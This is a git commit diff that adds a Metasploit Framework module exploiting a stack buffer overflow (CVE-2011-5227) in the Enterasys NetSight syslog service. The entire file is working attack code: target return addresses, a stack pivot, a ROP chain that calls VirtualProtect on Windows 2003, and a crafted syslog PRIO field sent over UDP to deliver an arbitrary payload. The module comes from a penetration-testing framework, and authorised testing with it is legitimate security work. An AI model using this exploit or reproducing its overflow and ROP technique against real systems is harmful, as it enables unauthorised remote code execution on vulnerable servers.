Merge branch 'master' of github.com:rapid7/metasploit-framework into rapid7

Author: egypt

modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb

@@ -0,0 +1,159 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::Udp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Enterasys NetSight nssyslogd.exe Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack buffer overflow in Enterasys NetSight. The
+				vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially
+				crafted PRIO from a syslog message. The module has been tested successfully on
+				Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2.
+			},
+			'Author'         =>
+				[
+					'Jeremy Brown', # Vulnerability discovery
+					'rgod <rgod[at]autistici.org>', # Vulnerability discovery
+					'juan vazquez' # Metasploit module
+				],
+			'References'     =>
+				[
+					['CVE', '2011-5227'],
+					['OSVDB', '77971'],
+					['BID', '51124'],
+					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-350/'],
+					['URL', 'https://cp-enterasys.kb.net/article.aspx?article=14206&p=1']
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00",
+					'Space' => 3000,
+					'DisableNops' => true,
+					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					['Enterasys NetSight 4.0.1.34 / Windows XP SP3',
+						{
+							'Offset' => 43,
+							'Ret' => 0x77c4e444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
+						}
+					],
+					['Enterasys NetSight 4.0.1.34 / Windows 2003 SP2',
+						{
+							'Offset' => 43,
+							'Ret' => 0x77bdf444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
+						}
+					]
+				],
+			'Privileged'     => true,
+			'DisclosureDate' => 'Dec 19 2011',
+			'DefaultTarget'  => 1
+			))
+
+		register_options([ Opt::RPORT(514) ], self.class)
+	end
+
+	def junk(n=4)
+		return rand_text_alpha(n).unpack("V")[0].to_i
+	end
+
+	def nop
+		return make_nops(4).unpack("V")[0].to_i
+	end
+
+	def get_stackpivot
+		stack_pivot = ''
+		case target.name
+		when /Windows XP SP3/
+			stack_pivot << [0x77c4e448].pack("V") #ret
+			stack_pivot << [0x77c4e448].pack("V") #ret
+			stack_pivot << [0x77c4e448].pack("V") #ret
+			stack_pivot << [0x77c4e448].pack("V") #ret
+			stack_pivot << [0x77c4e444].pack("V") # ADD ESP,30 # POP EDX # RETN
+		when /Windows 2003 SP2/
+			stack_pivot << [0x77bdf448].pack("V") #ret
+			stack_pivot << [0x77bdf448].pack("V") #ret
+			stack_pivot << [0x77bdf448].pack("V") #ret
+			stack_pivot << [0x77bdf448].pack("V") #ret
+			stack_pivot << [0x77bdf444].pack("V") # ADD ESP,30 # POP EDX # RETN
+		end
+		return stack_pivot
+	end
+
+	def get_payload
+		my_payload = ''
+
+		case target.name
+		when /Windows XP SP3/
+			jmp_esp = [0x77c35459].pack("V")
+			my_payload << jmp_esp
+		when /Windows 2003 SP2/
+			rop_gadgets =
+				[
+					0x77bb2563, # POP EAX # RETN
+					0x77ba1114, # <- *&VirtualProtect()
+					0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
+					junk,
+					0x77bb0c86, # XCHG EAX,ESI # RETN
+					0x77bc9801, # POP EBP # RETN
+					0x77be2265, # ptr to 'push esp #  ret'
+					0x77bb2563, # POP EAX # RETN
+					#0x03C0990F,
+					0x03c09f0f,
+					0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0xb00 -> ebx)
+					0x77bb48d3, # POP EBX, RET
+					0x77bf21e0, # .data
+					0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
+					0x77bbfc02, # POP ECX # RETN
+					0x77bef001, # W pointer (lpOldProtect) (-> ecx)
+					0x77bd8c04, # POP EDI # RETN
+					0x77bd8c05, # ROP NOP (-> edi)
+					0x77bb2563, # POP EAX # RETN
+					0x03c0984f,
+					0x77bdd441, # SUB EAX, 03c0940f
+					0x77bb8285, # XCHG EAX,EDX # RETN
+					0x77bb2563, # POP EAX # RETN
+					nop,
+					0x77be6591, # PUSHAD # ADD AL,0EF # RETN
+				].pack("V*")
+			my_payload << rop_gadgets
+		end
+
+		my_payload << payload.encoded
+		return my_payload
+	end
+
+	def exploit
+		connect_udp
+
+		prio = "<"
+		prio << rand_text_alpha(19)
+		prio << get_stackpivot
+		prio << rand_text_alpha(4)
+		prio << [target.ret].pack("V")
+		prio << ">"
+
+		message = prio
+		message << rand_text_alpha(9 + (15 - Rex::Socket.source_address(datastore['RHOST']).length)) # Allow to handle the variable offset due to the source ip length
+		message << get_payload
+
+		print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
+		udp_sock.put(message)
+
+		disconnect_udp
+	end
+
+end